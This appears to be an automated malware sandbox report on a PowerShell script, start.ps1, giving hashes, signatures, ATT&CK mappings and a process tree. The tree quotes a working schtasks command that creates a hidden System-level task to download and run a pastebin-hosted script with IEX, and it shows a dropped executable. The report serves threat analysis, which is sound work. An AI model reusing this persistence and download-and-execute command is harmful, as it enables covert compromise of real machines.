74544a16f620605e4812a5e1b9615388f2daafe0af8d96060d1d0a289cc3c656 | Triage

Resubmissions

20-12-2024 03:49

241220-edjqcaynaz 10

20-12-2024 03:47

241220-ecbcksymgz 10

Analysis

max time kernel
101s
max time network
294s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
20-12-2024 03:47

Sharing

Report Analysis Logs

General

Target

start.ps1
Size

2KB
MD5

2208ff484b710fa97536c08039a5c25c
SHA1

928c408e0668dd397464901f60ecaf559e9cece3
SHA256

5504e6eed79410349928af05caf3cbd4a8dc878ca68666dc348dee80dc31bc66
SHA512

0fd07a3f022438e009e7c9215f8e04643cba4c5ae678cfd4c3bcd9c468cff7ef9c8018622f82deee3ddcc29d62333014a8beff08c1ebee13b0a4f3cb4fbd9c1c

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

PowerShell

pid	Process
4464	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1908	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4464	powershell.exe
4464	powershell.exe
4464	powershell.exe
4464	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeLockMemoryPrivilege	3224	kthmimu.exe
Token: SeLockMemoryPrivilege	3224	kthmimu.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3224	kthmimu.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4464 wrote to memory of 1908	4464	powershell.exe	84
PID 4464 wrote to memory of 1908	4464	powershell.exe	84
PID 4464 wrote to memory of 3224	4464	powershell.exe	85
PID 4464 wrote to memory of 3224	4464	powershell.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\start.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /sc MINUTE /mo 100 /tn "\Microsoft\windows\.NET Framework\log4" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''https://pastebin.com/raw/wG9Cy8HP'''))'" /F /ru System
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1908
- C:\Users\Admin\AppData\Local\Temp\kthmimu.exe
  "C:\Users\Admin\AppData\Local\Temp\kthmimu.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Scheduled Task/Job

Scheduled Task

Persistence

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Scheduled Task/Job

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4asvsvy5.siu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3224-31-0x000001D1CD6D0000-0x000001D1CD6F0000-memory.dmp

Filesize
128KB

Download
memory/3224-35-0x000001D139670000-0x000001D139690000-memory.dmp

Filesize
128KB

Download
memory/3224-32-0x000001D1CD900000-0x000001D1CD920000-memory.dmp

Filesize
128KB

Download
memory/3224-41-0x000001D1CCE00000-0x000001D1CCE20000-memory.dmp

Filesize
128KB

Download
memory/3224-42-0x000001D1CD030000-0x000001D1CD050000-memory.dmp

Filesize
128KB

Download
memory/3224-43-0x000001D1CD270000-0x000001D1CD290000-memory.dmp

Filesize
128KB

Download
memory/3224-16-0x000001D137BF0000-0x000001D137C10000-memory.dmp

Filesize
128KB

Download
memory/3224-19-0x000001D139630000-0x000001D139650000-memory.dmp

Filesize
128KB

Download
memory/3224-20-0x000001D139650000-0x000001D139670000-memory.dmp

Filesize
128KB

Download
memory/3224-23-0x000001D139690000-0x000001D1396B0000-memory.dmp

Filesize
128KB

Download
memory/3224-22-0x000001D1396B0000-0x000001D1396D0000-memory.dmp

Filesize
128KB

Download
memory/3224-21-0x000001D139670000-0x000001D139690000-memory.dmp

Filesize
128KB

Download
memory/3224-27-0x000001D1CCE00000-0x000001D1CCE20000-memory.dmp

Filesize
128KB

Download
memory/3224-25-0x000001D1CC9A0000-0x000001D1CC9C0000-memory.dmp

Filesize
128KB

Download
memory/3224-24-0x000001D1396D0000-0x000001D1396F0000-memory.dmp

Filesize
128KB

Download
memory/3224-33-0x000001D1CDB30000-0x000001D1CDB50000-memory.dmp

Filesize
128KB

Download
memory/3224-44-0x000001D1CD4A0000-0x000001D1CD4C0000-memory.dmp

Filesize
128KB

Download
memory/3224-45-0x000001D1CD6D0000-0x000001D1CD6F0000-memory.dmp

Filesize
128KB

Download
memory/3224-46-0x000001D1CD900000-0x000001D1CD920000-memory.dmp

Filesize
128KB

Download
memory/3224-29-0x000001D1CD270000-0x000001D1CD290000-memory.dmp

Filesize
128KB

Download
memory/3224-28-0x000001D1CD030000-0x000001D1CD050000-memory.dmp

Filesize
128KB

Download
memory/3224-26-0x000001D1CCBD0000-0x000001D1CCBF0000-memory.dmp

Filesize
128KB

Download
memory/3224-34-0x000001D139650000-0x000001D139670000-memory.dmp

Filesize
128KB

Download
memory/3224-37-0x000001D139690000-0x000001D1396B0000-memory.dmp

Filesize
128KB

Download
memory/3224-36-0x000001D1396B0000-0x000001D1396D0000-memory.dmp

Filesize
128KB

Download
memory/3224-30-0x000001D1CD4A0000-0x000001D1CD4C0000-memory.dmp

Filesize
128KB

Download
memory/3224-38-0x000001D1396D0000-0x000001D1396F0000-memory.dmp

Filesize
128KB

Download
memory/3224-39-0x000001D1CC9A0000-0x000001D1CC9C0000-memory.dmp

Filesize
128KB

Download
memory/3224-40-0x000001D1CCBD0000-0x000001D1CCBF0000-memory.dmp

Filesize
128KB

Download
memory/3224-47-0x000001D1CDB30000-0x000001D1CDB50000-memory.dmp

Filesize
128KB

Download
memory/4464-1-0x000002721CAC0000-0x000002721CAE2000-memory.dmp

Filesize
136KB

Download
memory/4464-12-0x00007FFFF5C60000-0x00007FFFF6722000-memory.dmp

Filesize
10.8MB

Download
memory/4464-11-0x00007FFFF5C60000-0x00007FFFF6722000-memory.dmp

Filesize
10.8MB

Download
memory/4464-17-0x00007FFFF5C60000-0x00007FFFF6722000-memory.dmp

Filesize
10.8MB

Download
memory/4464-13-0x00007FFFF5C60000-0x00007FFFF6722000-memory.dmp

Filesize
10.8MB

Download
memory/4464-0-0x00007FFFF5C63000-0x00007FFFF5C65000-memory.dmp

Filesize
8KB

Download